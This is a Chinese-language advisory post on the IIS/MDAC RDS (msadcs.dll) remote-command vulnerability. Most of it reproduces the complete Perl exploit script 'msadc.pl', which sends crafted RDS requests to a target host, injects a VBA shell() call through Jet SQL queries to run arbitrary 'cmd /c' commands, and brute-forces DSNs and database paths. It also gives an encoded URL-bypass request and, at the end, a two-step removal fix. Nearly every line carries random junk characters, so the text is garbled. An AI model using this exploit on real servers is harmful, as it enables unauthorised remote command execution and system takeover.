IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
Dj9).lgc SlZ> N$E 涉及程序：
T=QV =21qn Microsoft NT server
=pP0d vn /)` kYD6 描述：
q0hg0 DC[; 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
CS*wvn;. p}'uCT
ga 详细：
Jh'\ nDz@e 如果你没有时间读详细内容的话，就删除:
f}c z_"o4 c:\Program Files\Common Files\System\Msadc\msadcs.dll
0-W{( xy@4 有关的安全问题就没有了。
$}/ !mXI5 bLysUj5[5 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
2$ O @T] BEzF'<Z 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
93npzpge 关于利用ODBC远程漏洞的描述，请参看:
? >W4*8 ( 6Q. _zk http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm # N.(ZP %?3\gFvBo 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
$(6 .K- D http://www.microsoft.com/security/bulletins/MS99-025faq.asp LA.x LU3 JL4\% 这里不再论述。
Ppzd.=E +89s+4Jn 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
Uaho.(_GP ='0f#>0Q /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
#~r+ 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
jyt#C7mj-A )k8=< =s *$Df)iI6 #将下面这段保存为txt文件，然后: "perl -x 文件名"
*kXSl73 k A qKl}8 #!perl
c2z%|\q #
GP5Y5 ) # MSADC/RDS 'usage' (aka exploit) script
pCQB<6&1N #
=x4:jas # by rain.forest.puppy
_Z|s!~wdz #
PL#8~e;' # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
i~dW)7 # beta test and find errors!
'' Y}Q" [*j
C use Socket; use Getopt::Std;
yuvt<k z getopts("e:vd:h:XR", \%args);
;u'mSJI ' "bRg_]\q6 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
>Udb*76
D onM ~*E if (!defined $args{h} && !defined $args{R}) {
Ne<"o]_M print qq~
DG x9 \8^ Usage: msadc.pl -h <host> { -d <delay> -X -v }
l GI5 -h <host> = host you want to scan (ip or domain)
6s833Tmb&r -d <seconds> = delay between calls, default 1 second
7R mL#f` -X = dump Index Server path table, if available
:4 "SJ -v = verbose
+b.qzgH>r -e = external dictionary file for step 5
_$ me. }*~EA=YN; Or a -R will resume a command session
7 N ? x29 5O
Ob( ~; exit;}
4-4lh
TE( C^S?W=1=w $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
\*H/ YByTb if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
dF{3 ~0+, if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
HM])m>KeT if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
JrTSu`S(' $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
0KyujU?sF if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
nu] k<^I5| ={?} [E if (!defined $args{R}){ $ret = &has_msadc;
O /wl";- die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
{_1^ GIIS Z1FO.[FV print "Please type the NT commandline you want to run (cmd /c assumed):\n"
z i23k= . "cmd /c ";
.$DB\jJXjV $in=<STDIN>; chomp $in;
6u3DxFiTm $command="cmd /c " . $in ;
`)F lb|da eB78z@ if (defined $args{R}) {&load; exit;}
@.gT&Hq _F^k>Lq& d print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
_7YAF,@vT &try_btcustmr;
C|Bk'<MI z0V d(QL print "\nStep 2: Trying to make our own DSN...";
,9q=2V[GP &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
h'<}N F_! 6C-z print "\nStep 3: Trying known DSNs...";
GV1\8OG7 &known_dsn;
QeA)@x.p Y;je ::" print "\nStep 4: Trying known .mdbs...";
i+yqsY KO &known_mdb;
:b;2iBVB p#O#M N* if (defined $args{e}){
zh'TR$+\hO print "\nStep 5: Trying dictionary of DSN names...";
f) q\RJA)X &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
= y8HOT}8 ^>uzMR!q5 print "Sorry Charley...maybe next time?\n";
pv T V* exit;
#lQbMuR }$V]00
X ##############################################################################
5j`"@C5;O Phl't~k sub sendraw { # ripped and modded from whisker
k0? 4vA sleep($delay); # it's a DoS on the server! At least on mine...
_Kx
/z my ($pstr)=@_;
L1 `^~m| socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
0/<}.Z] die("Socket problems\n");
[kzcsJ '/e if(connect(S,pack "SnA4x8",2,80,$target)){
cD8.rRyD select(S); $|=1;
Q{ !lLka print $pstr; my @in=<S>;
% }P^B^O select(STDOUT); close(S);
MQ2gzKw> return @in;
N10'./c K } else { die("Can't connect...\n"); }}
y-}lz#N 2GcQh]ohc ##############################################################################
]Ole#Lz}Q it\{#rb=4 sub make_header { # make the HTTP request
a=k+:=%y my $msadc=<<EOT
E $/`7p8) POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
3=) /-l User-Agent: ACTIVEDATA
z-uJ+SA Host: $ip
g?UG6mFbE Content-Length: $clen
1j6Z SE/*| Connection: Keep-Alive
^LTLyt)/ rx'},[b]3 ADCClientVersion:01.06
aZ2liR\QE Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
%,MC nu&Z 4 p kc9\ --!ADM!ROX!YOUR!WORLD!
/^qCJp` Content-Type: application/x-varg
skdSK7 n Content-Length: $reqlen
"*#$$e53A ppVjFCv0< EOT
BgD;"GD*W ; $msadc=~s/\n/\r\n/g;
GC H = X return $msadc;}
Mq42^m:qe d6<,R;) ##############################################################################
Gp$[u4-6M6 nTY`1w.; sub make_req { # make the RDS request
@ .T ' my ($switch, $p1, $p2)=@_;
|A 7Yv my $req=""; my $t1, $t2, $query, $dsn;
:D-d`OyjG> b#P , if ($switch==1){ # this is the btcustmr.mdb query
`?rPs8+R $query="Select * from Customers where City=" . make_shell();
sU4(ed\gI\ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
:q;vZ6Xd $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
Vlce^\s; -hL8z$} elsif ($switch==2){ # this is general make table query
5|x FY/% $query="create table AZZ (B int, C varchar(10))";
G-Z_pGer^ $dsn="$p1";}
9+9}^B5@A ' /b,3: elsif ($switch==3){ # this is general exploit table query
$WnK $query="select * from AZZ where C=" . make_shell();
#@Z z
Bf $dsn="$p1";}
B[C2uVEX: G?e,Q$ elsif ($switch==4){ # attempt to hork file info from index server
q+ dY&4&u $query="select path from scope()";
H]"Z_n_ $dsn="Provider=MSIDXS;";}
s[h' W~ -n!.PsGO> elsif ($switch==5){ # bad query
I
o7pp( $query="select";
<|Bh;; $dsn="$p1";}
,\[&%ph /`D]m? $t1= make_unicode($query);
TuBg 4\V $t2= make_unicode($dsn);
~({a j|Y $req = "\x02\x00\x03\x00";
&B#H gWud $req.= "\x08\x00" . pack ("S1", length($t1));
`BMg\2Ud* $req.= "\x00\x00" . $t1 ;
@8|- C $req.= "\x08\x00" . pack ("S1", length($t2));
9Z6] ];8E $req.= "\x00\x00" . $t2 ;
U{h5uezD $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
rcq(p (! return $req;}
g$?B!!qT f'aUo|^ ? ##############################################################################
"2
ma]Ps R"!.|fH6 sub make_shell { # this makes the shell() statement
+=|Q'V return "'|shell(\"$command\")|'";}
L/<^uO1 {08UBnR ##############################################################################
iF{eGi )1lR;fD sub make_unicode { # quick little function to convert to unicode
ai`fP{WlX my ($in)=@_; my $out;
"Hg .pDNZ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
:bW}*0b- return $out;}
]Tf.KUm mDvZ 1aj ##############################################################################
d vkA-9 QT9(s\u sub rdo_success { # checks for RDO return success (this is kludge)
G#N h)ff my (@in) = @_; my $base=content_start(@in);
. CLi v if($in[$base]=~/multipart\/mixed/){
=: 1f
0QF return 1 if( $in[$base+10]=~/^\x09\x00/ );}
3kdTteyy+ return 0;}
@&S4j]rq 4 bh m1Q ##############################################################################
*r?g &Vw$m 4NQS'*%D sub make_dsn { # this makes a DSN for us
TPq5"mco my @drives=("c","d","e","f");
b3H~a2"d print "\nMaking DSN: ";
t=~al 8 foreach $drive (@drives) {
J Q%e' print "$drive: ";
I^[R]Js my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
2
Nr j@q "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
_w Cp.[3?t . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
.O3i"X] $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
pYI`5B4 return 0 if $2 eq "404"; # not found/doesn't exist
Od>T a_ if($2 eq "200") {
SvAz9>N4 foreach $line (@results) {
>72j,0=e return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
zr\I1v]?1# } return 0;}
l\ts!p4f$ PX(.bP2^Lq ##############################################################################
j S')!Wcu =KmjCz: sub verify_exists {
XtN e) Ry my ($page)=@_;
bb$1RLyRL my @results=sendraw("GET $page HTTP/1.0\n\n");
oS/<)>\Gv return $results[0];}
V Z}^1e ul?'kuYk ##############################################################################
8QE0J$d5 sn+i[ sub try_btcustmr {
:w#Zs)N my @drives=("c","d","e","f");
ya5;C" my @dirs=("winnt","winnt35","winnt351","win","windows");
pTST\0? I6M 7xn foreach $dir (@dirs) {
GW
?.b_6* print "$dir -> "; # fun status so you can see progress
*["9;_K D foreach $drive (@drives) {
YnNB#x8| print "$drive: "; # ditto
UVUbxFq: $reqlen=length( make_req(1,$drive,$dir) ) - 28;
!Jh -v $reqlenlen=length( "$reqlen" );
G>M#
Bu U $clen= 206 + $reqlenlen + $reqlen;
Vu*yEF} &AU%3b my @results=sendraw(make_header() . make_req(1,$drive,$dir));
` *&*jdq&i if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
B$ +YK%I else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
Nw+0b4{ I $n 0aR6 ##############################################################################
zob^z@2 ^a[7qX_B sub odbc_error {
aM9^ V MOb my (@in)=@_; my $base;
\%KJ +PJ my $base = content_start(@in);
KR^lm N if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
1wW8D>f]K $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
x9a*^l $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
%Fa/82:- " $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
t*.O >$[ return $in[$base+4].$in[$base+5].$in[$base+6];}
.YYiUA-i9n print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
PM=Q\ 0 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
yXh=~:1~ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
5H6m{ng =IkQ;L& ##############################################################################
`5r*4N< Q|@!zMy sub verbose {
dFjB &#Tl my ($in)=@_;
Gk;== ~ return if !$verbose;
2ELw}9 print STDOUT "\n$in\n";}
Q i&!IG X{| 1E85fl ##############################################################################
)r~$N0\D %DqF_4U 9 sub save {
J|W~\(W6i my ($p1, $p2, $p3, $p4)=@_;
? #-"YO7 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
3=o3VGZP print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
U)=StpTT close OUT;}
B0?E$8a |+~CdA ##############################################################################
_'ltz!~ pZ/x,b#. sub load {
7
}4T)k(a my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
C;0H _ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
YjdCCju @p=<IN>; close(IN);
b*',(J94 $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
Rg HPYf{ $target= inet_aton($ip) || die("inet_aton problems");
9.m_3"s print "Resuming to $ip ...";
~%qHJ4C $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
_ "&b%! if($p[1]==1) {
azr|Fz/ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
[< }:b>a $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
(x@|6Sb my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
o|>2X[T if (rdo_success(@results)){print "Success!\n";}
\L} Soe' else { print "failed\n"; verbose(odbc_error(@results));}}
f>s3Q\+ elsif ($p[1]==3){
!e?=I if(run_query("$p[3]")){
*TfXMN ?w print "Success!\n";} else { print "failed\n"; }}
5n"b$hMF elsif ($p[1]==4){
89v9BWF if(run_query($drvst . "$p[3]")){
e 4b`C>> print "Success!\n"; } else { print "failed\n"; }}
6H+gFXIv exit;}
v,bes[Ik [M 65T@v ##############################################################################
^Y8?iC<+ =5 l7{i*` sub create_table {
EoD;'+d my ($in)=@_;
#~ ^#%G $reqlen=length( make_req(2,$in,"") ) - 28;
y#F( xm+L $reqlenlen=length( "$reqlen" );
- 8- $clen= 206 + $reqlenlen + $reqlen;
#(j'?|2o% my @results=sendraw(make_header() . make_req(2,$in,""));
- K0>^2hh return 1 if rdo_success(@results);
/csj(8^w my $temp= odbc_error(@results); verbose($temp);
iBVV5 f return 1 if $temp=~/Table 'AZZ' already exists/;
0.'$U}#b return 0;}
z2vrV?: OIGu`%~js ##############################################################################
8L`J](y kl4FVZof sub known_dsn {
&|'1.^f@;E # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
#K.OJJaG my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
12U1DEd>- "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
)s5Q4m! "banner", "banners", "ads", "ADCDemo", "ADCTest");
m Y*JNx _ <yGen- foreach $dSn (@dsns) {
%D< =6suW print ".";
$ bI VD next if (!is_access("DSN=$dSn"));
}xcA`w3u2? if(create_table("DSN=$dSn")){
=3$JeNK9 print "$dSn successful\n";
Qh<_/X? if(run_query("DSN=$dSn")){
w6zB uW print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
wwE`YY print "Something's borked. Use verbose next time\n";}}} print "\n";}
~ OD} ` V|e9G,z~A ##############################################################################
VI :
!# es 8%JTi sub is_access {
PN:/lIO my ($in)=@_;
H:Y?(" k $reqlen=length( make_req(5,$in,"") ) - 28;
)D\!#<# h $reqlenlen=length( "$reqlen" );
X31[ $clen= 206 + $reqlenlen + $reqlen;
|=fa`8m G my @results=sendraw(make_header() . make_req(5,$in,""));
8fRk8 my $temp= odbc_error(@results);
rJH u~/_Dq verbose($temp); return 1 if ($temp=~/Microsoft Access/);
V*5 ~A [r return 0;}
3B8\r}L ]&w8"q ##############################################################################
HR]*75}e \B/ +.\ sub run_query {
lqh+yX%*
my ($in)=@_;
[0<N[KZ) $reqlen=length( make_req(3,$in,"") ) - 28;
T}d% X MXq $reqlenlen=length( "$reqlen" );
P& @ 2DI3m $clen= 206 + $reqlenlen + $reqlen;
;*>Y8^K&Q my @results=sendraw(make_header() . make_req(3,$in,""));
G`8i{3: return 1 if rdo_success(@results);
MKzIY:u g my $temp= odbc_error(@results); verbose($temp);
O
W`yv return 0;}
J:LwO n`gW&5,,z ##############################################################################
)F*;7]f ~3bH2,{L[ sub known_mdb {
V<:scLm#OF my @drives=("c","d","e","f","g");
wXI6KN- my @dirs=("winnt","winnt35","winnt351","win","windows");
$L%gQkz_ my $dir, $drive, $mdb;
t1"-3afe my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
cc`+rD5I- V_+XZ+7Lx} # this is sparse, because I don't know of many
}GI8p* ]o= my @sysmdbs=( "\\catroot\\icatalog.mdb",
-7{ qTe { "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
t)o!OEnE "\\system32\\certmdb.mdb",
g:<2yT "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
7.U
CX" 50h?#u6? my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
F7[ 55RcP "\\cfusion\\cfapps\\forums\\forums_.mdb",
EAafi <n "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
a^/j&9 "\\cfusion\\cfapps\\security\\realm_.mdb",
j`tBki: "\\cfusion\\cfapps\\security\\data\\realm.mdb",
Zy Am:yO "\\cfusion\\database\\cfexamples.mdb",
R@zl?>+ "\\cfusion\\database\\cfsnippets.mdb",
xNDX(_U>\ "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
f/+UD-@%m "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
OwRH
:l "\\cfusion\\brighttiger\\database\\cleam.mdb",
7HfA{.|m "\\cfusion\\database\\smpolicy.mdb",
i p.aM#
"\\cfusion\\database\cypress.mdb",
${ fJ] "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
o&WKk 5$ "\\website\\cgi-win\\dbsample.mdb",
s.y wp{EF "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
[HO=ii]Wb "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
.YOC|\ ); #these are just
f P 4 foreach $drive (@drives) {
<E/" v foreach $dir (@dirs){
yvN; |R
foreach $mdb (@sysmdbs) {
+'aG&^k4 print ".";
(b!`klQ if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
mtfEK3?2* print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
NABVU0}
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
^q{=mf` print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
!| ObNS } else { print "Something's borked. Use verbose next time\n"; }}}}}
Sy\ec{$+V] Ig b@aG A foreach $drive (@drives) {
hH XTSk2 foreach $mdb (@mdbs) {
'1rHvz`B/" print ".";
1:{BC 2P if(create_table($drv . $drive . $dir . $mdb)){
=6Z$nc
R print "\n" . $drive . $dir . $mdb . " successful\n";
]rAaErB' ; if(run_query($drv . $drive . $dir . $mdb)){
N-C=O print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
Vm6
0aXm_ } else { print "Something's borked. Use verbose next time\n"; }}}}
R|tf}~u !x }
En&`m |, ws 3 ##############################################################################
yex4A)n9"' _pZ2^OO@ sub hork_idx {
gxa @d a print "\nAttempting to dump Index Server tables...\n";
2o5Pbdel print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
~#
~XDcc $reqlen=length( make_req(4,"","") ) - 28;
(Qf"|3R4 $reqlenlen=length( "$reqlen" );
d9bc>5%-F $clen= 206 + $reqlenlen + $reqlen;
#21t8 my @results=sendraw2(make_header() . make_req(4,"",""));
(zv)c w% if (rdo_success(@results)){
r* I u6 my $max=@results; my $c; my %d;
RxUABF8b for($c=19; $c<$max; $c++){
*.g@6IkAQ $results[$c]=~s/\x00//g;
%p wpRD@ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
QVEGd"WvvO $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
Y\cQ "9 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
8y$c\Eu(mF $d{"$1$2"}="";}
xNLvK:@0p foreach $c (keys %d){ print "$c\n"; }
IgxZ_2hO } else {print "Index server doesn't seem to be installed.\n"; }}
(A<'{J#5, (bT3
r_ ##############################################################################
iRwlK5(& F@C^nX9 sub dsn_dict {
Aw~N"i open(IN, "<$args{e}") || die("Can't open external dictionary\n");
TOUP.,f/! while(<IN>){
\7l% @ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
&uX| Ksq next if (!is_access("DSN=$dSn"));
cwK+{*ZH/ if(create_table("DSN=$dSn")){
;`p!/9il print "$dSn successful\n";
%+A z
X if(run_query("DSN=$dSn")){
%BV 2 q
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
)'pc 1I print "Something's borked. Use verbose next time\n";}}}
?A ]@$ print "\n"; close(IN);}
>R&=mo~ QAI!/bB ##############################################################################
jjbw+ ,?zIt6Z sub sendraw2 { # ripped and modded from whisker
-( d ,AX sleep($delay); # it's a DoS on the server! At least on mine...
M?yWFqFt9m my ($pstr)=@_;
? FlV<nE"J socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
h_w_OCC&2 die("Socket problems\n");
zc,kHO| if(connect(S,pack "SnA4x8",2,80,$target)){
T d6Gu" print "Connected. Getting data";
gp?|UMA9 . open(OUT,">raw.out"); my @in;
JE[ + select(S); $|=1; print $pstr;
1Vden.H*CI while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
*CnrzrKtQ close(OUT); select(STDOUT); close(S); return @in;
i*q!|^M } else { die("Can't connect...\n"); }}
@qGg=)T vWM '}( ##############################################################################
[+j 39d.Q pbM"tr_A{ sub content_start { # this will take in the server headers
s3.,
N| my (@in)=@_; my $c;
L.]mC ! for ($c=1;$c<500;$c++) {
9F*],#ng if($in[$c] =~/^\x0d\x0a/){
.JJ^w!|># if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
NbDfD3
1GK else { return $c+1; }}}
G0u3*. return -1;} # it should never get here actually
a%h'utF{[ # _zd`s3k ##############################################################################
Qey6E9eCA DJm/:td sub funky {
4Pm+0=E my (@in)=@_; my $error=odbc_error(@in);
Aj2 2t if($error=~/ADO could not find the specified provider/){
WecJ^{g>r{ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
*C 0gpEf9S exit;}
C}~/(;1V= if($error=~/A Handler is required/){
Rlq6I?S+ print "\nServer has custom handler filters (they most likely are patched)\n";
7+h*&f3> exit;}
wn$:L9 "YN if($error=~/specified Handler has denied Access/){
4-YX Xi} print "\nServer has custom handler filters (they most likely are patched)\n";
c= -2c&=& exit;}}
q|8p4X}/] "eH~/ 6A ##############################################################################
c/c%-= $_.m< sub has_msadc {
CCX!>k] my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
a%wK[yVp my $base=content_start(@results);
{]a 6o[}u return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
h0N*hx return 0;}
jJ' LM>e
? 77ye ########################
@c8s< 9I] tv_Cn
w Q9~UL^bF 解决方案：
i>M*ubWE4@ 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
:EUV#5V. 2、移除web 目录: /msadc
